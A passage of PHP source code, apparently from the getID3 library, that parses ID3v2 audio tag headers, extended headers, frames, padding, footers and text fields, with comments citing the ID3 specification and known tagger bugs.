$thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator $thisfile_id3v2_flags['isfooter'] = (bool) ($id3_flags & 0x10); // d - Footer present break; } $thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length $thisfile_id3v2['tag_offset_start'] = $this->StartingOffset; $thisfile_id3v2['tag_offset_end'] = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength']; // create 'encoding' key - used by getid3::HandleAllTags() // in ID3v2 every field can have it's own encoding type // so force everything to UTF-8 so it can be handled consistantly $thisfile_id3v2['encoding'] = 'UTF-8'; // Frames // All ID3v2 frames consists of one frame header followed by one or more // fields containing the actual information. The header is always 10 // bytes and laid out as follows: // // Frame ID $xx xx xx xx (four characters) // Size 4 * %0xxxxxxx // Flags $xx xx $sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header if (!empty($thisfile_id3v2['exthead']['length'])) { $sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4); } if (!empty($thisfile_id3v2_flags['isfooter'])) { $sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio } if ($sizeofframes > 0) { $framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable // if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x) if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) { $framedata = $this->DeUnsynchronise($framedata); } // [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead // of on tag level, making it easier to skip frames, increasing the streamability // of the tag. The unsynchronisation flag in the header [S:3.1] indicates that // there exists an unsynchronised frame, while the new unsynchronisation flag in // the frame header [S:4.1.2] indicates unsynchronisation. //$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present) $framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header // Extended Header if (!empty($thisfile_id3v2_flags['exthead'])) { $extended_header_offset = 0; if ($id3v2_majorversion == 3) { // v2.3 definition: //Extended header size $xx xx xx xx // 32-bit integer //Extended Flags $xx xx // %x0000000 %00000000 // v2.3 // x - CRC data present //Size of padding $xx xx xx xx $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0); $extended_header_offset += 4; $thisfile_id3v2['exthead']['flag_bytes'] = 2; $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000); $thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); $extended_header_offset += 4; if ($thisfile_id3v2['exthead']['flags']['crc']) { $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); $extended_header_offset += 4; } $extended_header_offset += $thisfile_id3v2['exthead']['padding_size']; } elseif ($id3v2_majorversion == 4) { // v2.4 definition: //Extended header size 4 * %0xxxxxxx // 28-bit synchsafe integer //Number of flag bytes $01 //Extended Flags $xx // %0bcd0000 // v2.4 // b - Tag is an update // Flag data length $00 // c - CRC data present // Flag data length $05 // Total frame CRC 5 * %0xxxxxxx // d - Tag restrictions // Flag data length $01 $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true); $extended_header_offset += 4; $thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1 $extended_header_offset += 1; $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; $thisfile_id3v2['exthead']['flags']['update'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40); $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20); $thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10); if ($thisfile_id3v2['exthead']['flags']['update']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0 $extended_header_offset += 1; } if ($thisfile_id3v2['exthead']['flags']['crc']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5 $extended_header_offset += 1; $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false); $extended_header_offset += $ext_header_chunk_length; } if ($thisfile_id3v2['exthead']['flags']['restrictions']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1 $extended_header_offset += 1; // %ppqrrstt $restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); $extended_header_offset += 1; $thisfile_id3v2['exthead']['flags']['restrictions']['tagsize'] = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['textenc'] = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['imgenc'] = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['imgsize'] = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions $thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize'] = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc'] = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc'] = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize'] = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']); } if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) { $this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')'); } } $framedataoffset += $extended_header_offset; $framedata = substr($framedata, $extended_header_offset); } // end extended header while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) { // insufficient room left in ID3v2 header for actual data - must be padding $thisfile_id3v2['padding']['start'] = $framedataoffset; $thisfile_id3v2['padding']['length'] = strlen($framedata); $thisfile_id3v2['padding']['valid'] = true; for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) { if ($framedata[$i] != "\x00") { $thisfile_id3v2['padding']['valid'] = false; $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); break; } } break; // skip rest of ID3v2 header } $frame_header = null; $frame_name = null; $frame_size = null; $frame_flags = null; if ($id3v2_majorversion == 2) { // Frame ID $xx xx xx (three characters) // Size $xx xx xx (24-bit integer) // Flags $xx xx $frame_header = substr($framedata, 0, 6); // take next 6 bytes for header $framedata = substr($framedata, 6); // and leave the rest in $framedata $frame_name = substr($frame_header, 0, 3); $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0); $frame_flags = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs } elseif ($id3v2_majorversion > 2) { // Frame ID $xx xx xx xx (four characters) // Size $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+) // Flags $xx xx $frame_header = substr($framedata, 0, 10); // take next 10 bytes for header $framedata = substr($framedata, 10); // and leave the rest in $framedata $frame_name = substr($frame_header, 0, 4); if ($id3v2_majorversion == 3) { $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer } else { // ID3v2.4+ $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value) } if ($frame_size < (strlen($framedata) + 4)) { $nextFrameID = substr($framedata, $frame_size, 4); if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) { // next frame is OK } elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) { // MP3ext known broken frames - "ok" for the purposes of this test } elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) { $this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3'); $id3v2_majorversion = 3; $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer } } $frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2)); } if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) { // padding encountered $thisfile_id3v2['padding']['start'] = $framedataoffset; $thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata); $thisfile_id3v2['padding']['valid'] = true; $len = strlen($framedata); for ($i = 0; $i < $len; $i++) { if ($framedata[$i] != "\x00") { $thisfile_id3v2['padding']['valid'] = false; $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); break; } } break; // skip rest of ID3v2 header } if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) { $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.'); $frame_name = $iTunesBrokenFrameNameFixed; } if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) { unset($parsedFrame); $parsedFrame['frame_name'] = $frame_name; $parsedFrame['frame_flags_raw'] = $frame_flags; $parsedFrame['data'] = substr($framedata, 0, $frame_size); $parsedFrame['datalength'] = getid3_lib::CastAsInt($frame_size); $parsedFrame['dataoffset'] = $framedataoffset; $this->ParseID3v2Frame($parsedFrame); $thisfile_id3v2[$frame_name][] = $parsedFrame; $framedata = substr($framedata, $frame_size); } else { // invalid frame length or FrameID if ($frame_size <= strlen($framedata)) { if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) { // next frame is valid, just skip the current frame $framedata = substr($framedata, $frame_size); $this->warning('Next ID3v2 frame is valid, skipping current frame.'); } else { // next frame is invalid too, abort processing //unset($framedata); $framedata = null; $this->error('Next ID3v2 frame is also invalid, aborting processing.'); } } elseif ($frame_size == strlen($framedata)) { // this is the last frame, just skip $this->warning('This was the last ID3v2 frame.'); } else { // next frame is invalid too, abort processing //unset($framedata); $framedata = null; $this->warning('Invalid ID3v2 frame size, aborting.'); } if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) { switch ($frame_name) { case "\x00\x00".'MP': case "\x00".'MP3': case ' MP3': case 'MP3e': case "\x00".'MP': case ' MP': case 'MP3': $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]'); break; default: $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).'); break; } } elseif (!isset($framedata) || ($frame_size > strlen($framedata))) { $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).'); } else { $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).'); } } $framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion)); } } // Footer // The footer is a copy of the header, but with a different identifier. // ID3v2 identifier "3DI" // ID3v2 version $04 00 // ID3v2 flags %abcd0000 // ID3v2 size 4 * %0xxxxxxx if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) { $footer = $this->fread(10); if (substr($footer, 0, 3) == '3DI') { $thisfile_id3v2['footer'] = true; $thisfile_id3v2['majorversion_footer'] = ord($footer[3]); $thisfile_id3v2['minorversion_footer'] = ord($footer[4]); } if ($thisfile_id3v2['majorversion_footer'] <= 4) { $id3_flags = ord($footer[5]); $thisfile_id3v2_flags['unsynch_footer'] = (bool) ($id3_flags & 0x80); $thisfile_id3v2_flags['extfoot_footer'] = (bool) ($id3_flags & 0x40); $thisfile_id3v2_flags['experim_footer'] = (bool) ($id3_flags & 0x20); $thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10); $thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1); } } // end footer if (isset($thisfile_id3v2['comments']['genre'])) { $genres = array(); foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) { foreach ($this->ParseID3v2GenreString($value) as $genre) { $genres[] = $genre; } } $thisfile_id3v2['comments']['genre'] = array_unique($genres); unset($key, $value, $genres, $genre); } if (isset($thisfile_id3v2['comments']['track_number'])) { foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) { if (strstr($value, '/')) { list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]); } } } if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) { $thisfile_id3v2['comments']['year'] = array($matches[1]); } if (!empty($thisfile_id3v2['TXXX'])) { // MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames foreach ($thisfile_id3v2['TXXX'] as $txxx_array) { switch ($txxx_array['description']) { case 'replaygain_track_gain': if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) { $info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); } break; case 'replaygain_track_peak': if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) { $info['replay_gain']['track']['peak'] = floatval($txxx_array['data']); } break; case 'replaygain_album_gain': if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) { $info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); } break; } } } // Set avdataoffset $info['avdataoffset'] = $thisfile_id3v2['headerlength']; if (isset($thisfile_id3v2['footer'])) { $info['avdataoffset'] += 10; } return true; } /** * @param string $genrestring * * @return array */ public function ParseID3v2GenreString($genrestring) { // Parse genres into arrays of genreName and genreID // ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)' // ID3v2.4.x: '21' $00 'Eurodisco' $00 $clean_genres = array(); // hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) { // note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here: // replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name if (strpos($genrestring, '/') !== false) { $LegitimateSlashedGenreList = array( // https://github.com/JamesHeinrich/getID3/issues/223 'Pop/Funk', // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard 'Cut-up/DJ', // Discogs - https://www.discogs.com/style/cut-up/dj 'RnB/Swing', // Discogs - https://www.discogs.com/style/rnb/swing 'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul ); $genrestring = str_replace('/', "\x00", $genrestring); foreach ($LegitimateSlashedGenreList as $SlashedGenre) { $genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring); } } // some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal" if (strpos($genrestring, ';') !== false) { $genrestring = str_replace(';', "\x00", $genrestring); } } if (strpos($genrestring, "\x00") === false) { $genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring); } $genre_elements = explode("\x00", $genrestring); foreach ($genre_elements as $element) { $element = trim($element); if ($element) { if (preg_match('#^[0-9]{1,3}$#', $element)) { $clean_genres[] = getid3_id3v1::LookupGenreName($element); } else { $clean_genres[] = str_replace('((', '(', $element); } } } return $clean_genres; } /** * @param array $parsedFrame * * @return bool */ public function ParseID3v2Frame(&$parsedFrame) { // shortcuts $info = &$this->getid3->info; $id3v2_majorversion = $info['id3v2']['majorversion']; $parsedFrame['framenamelong'] = $this->FrameNameLongLookup($parsedFrame['frame_name']); if (empty($parsedFrame['framenamelong'])) { unset($parsedFrame['framenamelong']); } $parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']); if (empty($parsedFrame['framenameshort'])) { unset($parsedFrame['framenameshort']); } if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard if ($id3v2_majorversion == 3) { // Frame Header Flags // %abc00000 %ijk00000 $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity } elseif ($id3v2_majorversion == 4) { // Frame Header Flags // %0abc0000 %0h00kmnp $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption $parsedFrame['flags']['Unsynchronisation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation $parsedFrame['flags']['DataLengthIndicator'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator // Frame-level de-unsynchronisation - ID3v2.4 if ($parsedFrame['flags']['Unsynchronisation']) { $parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']); } if ($parsedFrame['flags']['DataLengthIndicator']) { $parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1); $parsedFrame['data'] = substr($parsedFrame['data'], 4); } } // Frame-level de-compression if ($parsedFrame['flags']['compression']) { $parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4)); if (!function_exists('gzuncompress')) { $this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"'); } else { if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) { //if ($decompresseddata = @gzuncompress($parsedFrame['data'])) { $parsedFrame['data'] = $decompresseddata; unset($decompresseddata); } else { $this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"'); } } } } if (!empty($parsedFrame['flags']['DataLengthIndicator'])) { if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) { $this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data'); } } if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) { $warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion'; switch ($parsedFrame['frame_name']) { case 'WCOM': $warning .= ' (this is known to happen with files tagged by RioPort)'; break; default: break; } $this->warning($warning); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1 UFID Unique file identifier (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) { // 4.1 UFI Unique file identifier // There may be more than one 'UFID' frame in a tag, // but only one with the same 'Owner identifier'. //
// Owner identifier $00 // Identifier $exploded = explode("\x00", $parsedFrame['data'], 2); $parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : ''); $parsedFrame['data'] = (isset($exploded[1]) ? $exploded[1] : ''); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) { // 4.2.2 TXX User defined text information frame // There may be more than one 'TXXX' frame in each tag, // but only one with the same description. //
// Text encoding $xx // Description $00 (00) // Value $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description'])); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); } else { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); } } //unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain } elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame // There may only be one text information frame of its kind in an tag. //
// Text encoding $xx // Information $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { // ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with / // This of course breaks when an artist name contains slash character, e.g. "AC/DC" // MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense // getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user switch ($parsedFrame['encoding']) { case 'UTF-16': case 'UTF-16BE': case 'UTF-16LE': $wordsize = 2; break; case 'ISO-8859-1': case 'UTF-8': default: $wordsize = 1; break; } $Txxx_elements = array(); $Txxx_elements_start_offset = 0; for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) { if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) { $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); $Txxx_elements_start_offset = $i + $wordsize; } } $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); foreach ($Txxx_elements as $Txxx_element) { $string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element); if (!empty($string)) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string; } } unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset); } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) { // 4.3.2 WXX User defined URL link frame // There may be more than one 'WXXX' frame in each tag, // but only one with the same description //
// Text encoding $xx // Description $00 (00) // URL $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); // according to the frame text encoding $parsedFrame['url'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1 $parsedFrame['description'] = 